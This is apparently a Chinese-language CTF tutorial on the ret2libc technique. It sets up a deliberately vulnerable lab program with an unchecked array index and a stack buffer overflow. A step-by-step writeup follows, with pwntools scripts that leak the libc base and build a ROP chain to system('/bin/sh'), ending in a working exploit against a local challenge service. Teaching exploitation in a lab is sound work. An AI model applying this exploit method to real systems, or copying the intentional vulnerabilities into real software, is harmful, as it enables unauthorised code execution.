前言
昨天介紹了 ROP,當程式使用靜態鏈結時,我們可以利用更多 gadgets 組合出 ROP chain。那麼,當程式為動態鏈結時,還有其他方法能夠取得 shell 嗎?其實有一種方法與 libc.so 有關,這種技術被稱作 ret2libc。
How to change libc
首先,由於每個人的環境和遠端環境可能不同,因此操作系統與 libc 版本也不盡相同。我們會希望在本地測試的程式與遠端題目盡量一致,所以我們通常會更換 libc 和動態鏈結器。以往題目不常附帶 libc,這時可能需要自己從 libc database 等網站找資料。然而,有些題目(像筆者的 lab)會提供包含題目完整環境的 Dockerfile。我們可以按照以下步驟將題目環境架設起來:
- 執行
docker-compose up -d

- 執行
docker ps並記下容器的ID

- 使用
docker exec -it [ID] /bin/bash進入容器

- 使用
ldd確認libc路徑與檔名

- 使用
docker cp [ID]:[檔案路徑] .將檔案從容器中複製到本地

- 使用
ls -al會發現ld-linux-x86-64.so.2其實是連結到另一個檔案,因此需要再多複製一次

接下來,我們需要使用 patchelf 來修改 ELF 檔案。下載 patchelf 後,執行以下命令進行 patch:
patchelf --replace-needed libc.so.6 ./libc.so.6 --set-interpreter ./ld-2.XX.so ./elf
將上面的範例替換成我們實際的檔案名稱:
patchelf --replace-needed libc.so.6 ./libc.so.6 --set-interpreter ./ld-linux-x86-64.so.2 ./ret2libc
可以再次使用 ldd 確認是否已正確修改:

ret2libc
簡單來說,ret2libc 是透過 libc 中的 gadgets 及 functions,利用 system("/bin/sh") 來開啟 shell,而不需要像昨天那樣用 execve 來執行。system("/bin/sh") 只需要以下幾個 gadgets:
pop rdi; ret;&”/bin/sh” (Address to string “/bin/sh”)system
此外,libc 中已經包含了 /bin/sh 字串,使用以下指令可以尋找:
strings -a -t x <path to libc> | grep /bin/sh
不過,由於通常會開啟 ASLR 與 PIE,因此我們必須先知道 libc 的 base address 才能使用 libc 的 gadgets,這通常需要透過格式化字串漏洞或其他漏洞來洩漏 libc 的位址。
Lab
以下是範例程式碼:
1#include<stdio.h>
2#include<stdlib.h>
3
4int main(){
5 setvbuf(stdout, 0, 2, 0);
6 setvbuf(stdin, 0, 2, 0);
7 setvbuf(stderr, 0, 2, 0);
8 long long num[10] = {0};
9 while(1){
10 puts("1. Edit number");
11 puts("2. Show number");
12 puts("3. Exit");
13 printf(">> ");
14 int choice;
15 scanf("%d", &choice);
16 switch(choice){
17 case 1:
18 printf("Index: ");
19 int idx;
20 scanf("%d", &idx);
21 printf("Number: ");
22 scanf("%lld", &num[idx]);
23 break;
24 case 2:
25 printf("Index: ");
26 int idx2;
27 scanf("%d", &idx2);
28 printf("Number: %lld\n", num[idx2]);
29 break;
30 case 3:
31 break;
32 default:
33 puts("Invalid choice");
34 break;
35 }
36 if(choice == 3){
37 break;
38 }
39 }
40 char message[0x20];
41 printf("Leave a message: ");
42 read(0, message, 0x100);
43 return 0;
44}
使用以下指令進行編譯:
1gcc src/ret2libc.c -o ./ret2libc/share/ret2libc -fno-stack-protector
這個範例可以讓大家練習 ret2libc 攻擊,接下來是進一步的解題步驟。
writeup
觀察程式,我們可以發現它關閉了 Canary,且未使用靜態編譯 (-static),所以不能簡單地使用 ROP。然而,我們可以利用程式中的功能來編輯和查看 num 陣列,最終利用 read 函數讀取輸入並導致 buffer overflow。程式可以 overflow 的範圍為 0x100 - 0x20 = 0xe0,並且在查看陣列時未檢查索引值是否越界,這提供了一個潛在的越界讀取機會,可能可以洩露 libc 位址。
接下來,我們使用 patchelf 指令將 libc 和 ld patch 上去,讓本地環境與遠端環境盡量一致:
patchelf --replace-needed libc.so.6 ./libc.so.6 --set-interpreter ./ld-2.XX.so ./ret2libc
然後,我們可以使用以下 script 並連接 gdb 來測試是否能讀取到 libc 位址:
1from pwn import *
2
3r = process('./ret2libc')
4gdb.attach(r)
5context.terminal = ['tmux', 'splitw', '-h']
6for i in range(11,21,1):
7 r.sendlineafter('>> ', '2')
8 r.sendlineafter('Index: ', str(i))
9 r.recvuntil('Number: ')
10 print(f'Index {i}: {hex(int(r.recvline().strip()))}')
11
12r.interactive()
當執行到 Index: 11 到 Index: 20 之間時,我們可以發現一些有趣的資訊:

接下來,我們使用 libc 指令來查看 libc 的 base address:

發現 Index 11 的位址與 libc 的 base address 只差 0x29d90。為了驗證,我們修改 script:

1from pwn import *
2
3r = process('./ret2libc')
4gdb.attach(r)
5context.terminal = ['tmux', 'splitw', '-h']
6r.sendlineafter('>> ', '2')
7r.sendlineafter('Index: ', '11')
8r.recvuntil('Number: ')
9Index11 = int(r.recvline().strip())
10print(f'Index 11: {hex(Index11)}')
11libc_base = Index11 - 0x29d90
12log.info(f'Libc base: {hex(libc_base)}')
13
14r.interactive()
執行會發現確實可以得到 libc 的 base address

拿到 base address 後就可以像昨天的內容一樣開始找 gadgets 和疊出可以開 shell 的 chain 了,並且由上述內容可以發現我們會需要
pop rdi; ret;&”/bin/sh” (Address to string “/bin/sh”)system
首先一樣先用 ROPGadget 找出所有 gadgets,ROPgadget --binary libc.so.6 > libc_gadgets,接下來找出 gadgets,要注意這些 gadgets 使用上皆必須加上 base address

然後使用 strings -a -t x <path to libc> | grep /bin/sh 找出字串位址

system 的 offset 可以使用 gdb 將程式執行起來再使用 off system 找,不過這邊在下中斷點會發現不能在 main 下中斷點了,因為有進行 patch 過,不過我們可以透過在 printf 下中斷點再執行(b printf),接下來 r 執行,然後 off system,即可得到 offset

所以接下來只需要找到要先填多少的 padding 才能 control flow 即可開始寫 exploit
這邊使用 objdump 查找,objdump -M intel -d ret2libc,會發現會從 rbp-0x70 開始讀入 0x100 的字串

所以我們在 control flow 前會先需要填充 0x70+0x8(save rbp),才會開始覆蓋到 return address
如此一來就可以開始寫 exploit 了
1from pwn import *
2
3r = process('./ret2libc')
4# gdb.attach(r)
5context.terminal = ['tmux', 'splitw', '-h']
6r.sendlineafter('>> ', '2')
7r.sendlineafter('Index: ', '11')
8r.recvuntil('Number: ')
9Index11 = int(r.recvline().strip())
10print(f'Index 11: {hex(Index11)}')
11libc_base = Index11 - 0x29d90
12log.info(f'Libc base: {hex(libc_base)}')
13
14pop_rdi = libc_base + 0x000000000002a3e5
15bin_sh = libc_base + 0x1d8678
16system = libc_base + 0x50d70
17
18r.sendlineafter('>> ', '3')
19
20payload = b'A' * (0x70 + 0x8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
21r.sendlineafter('Leave a message: ', payload)
22r.interactive()
不過執行起來會發現發生了 SIGSEGV,可能需要接上 gdb 查看狀況

執行到 return address 的部分會發現我們確實成功控制了執行流程,不過繼續看下去會發現又會停在 movaps xmmword ptr、not aligned to 16 bytes 的部分,那這邊通常會直接接上一個 ret 讓他可以對齊,那會發現 pop_rdi 事實上是 pop rdi ; ret,所以我們可以直接用 pop_rdi + 1 即可獲得 ret


加上 ret 後會像是這樣
1from pwn import *
2
3r = process('./ret2libc')
4# gdb.attach(r)
5context.terminal = ['tmux', 'splitw', '-h']
6r.sendlineafter('>> ', '2')
7r.sendlineafter('Index: ', '11')
8r.recvuntil('Number: ')
9Index11 = int(r.recvline().strip())
10print(f'Index 11: {hex(Index11)}')
11libc_base = Index11 - 0x29d90
12log.info(f'Libc base: {hex(libc_base)}')
13
14pop_rdi = libc_base + 0x000000000002a3e5
15bin_sh = libc_base + 0x1d8678
16system = libc_base + 0x50d70
17ret = pop_rdi + 1
18
19r.sendlineafter('>> ', '3')
20
21payload = b'A' * (0x70 + 0x8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
22r.sendlineafter('Leave a message: ', payload)
23r.interactive()
執行後會發現在 local 端可以確實拿到 shell,所以原則上可以將題目架起來並連上遠端拿到 flag 了

完整 exploit:
1from pwn import *
2
3# r = process('../ret2libc/share/ret2libc')
4r = remote('127.0.0.1', 10005)
5
6r.sendlineafter('>> ', '2')
7r.sendlineafter('Index: ', '11')
8number = int(r.recvline().strip().split(b': ')[1])
9libc_base = number - 0x29d90
10log.info(f'Libc: {hex(libc_base)}')
11pop_rdi = libc_base + 0x2a3e5
12system = libc_base + 0x50d70
13bin_sh = libc_base + 0x1d8678
14ret = pop_rdi + 1
15payload = b'A' * (0x70 + 0x8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
16r.sendlineafter('>> ', '3')
17r.sendlineafter('Leave a message: ', payload)
18
19r.interactive()
solved!!
